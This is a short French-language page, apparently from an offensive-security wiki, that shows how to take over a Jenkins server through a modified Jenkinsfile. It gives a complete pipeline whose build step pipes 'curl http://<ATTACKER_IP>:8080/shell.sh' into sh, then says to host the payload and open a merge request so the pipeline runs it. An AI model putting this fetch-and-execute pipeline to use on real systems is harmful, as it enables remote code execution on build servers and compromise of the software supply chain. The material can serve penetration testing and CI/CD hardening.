Skip to main content

[Web] CI/CD

Introduction

Cette page décrit différentes exploitations de vulnérabilités dans le processus CI/CD qui peuvent être exploitées au profit d'un attaquant.

image.png

Techniques

Build Process

Dans le cas où vous auriez accès à un dépôt Git avec un accès à un JenkinsFile, vous pourriez le modifier pour prendre le contrôle du serveur Jenkins.

Pour cela, vous pouvez créer un fork du projet pour modifier le JenkinsFile de la sorte :

pipeline {
    agent any
    stages {
       stage('build') {
          steps {
              sh '''
                    curl http://<ATTACKER_IP>:8080/shell.sh | sh
                '''                 
              }             
          }
       }       
    }

Vous devez au préalable créer votre payload et l'héberger sur votre serveur web.

Vous pouvez ensuite faire un Merge Request pour lancer la pipeline et exécuter le payload.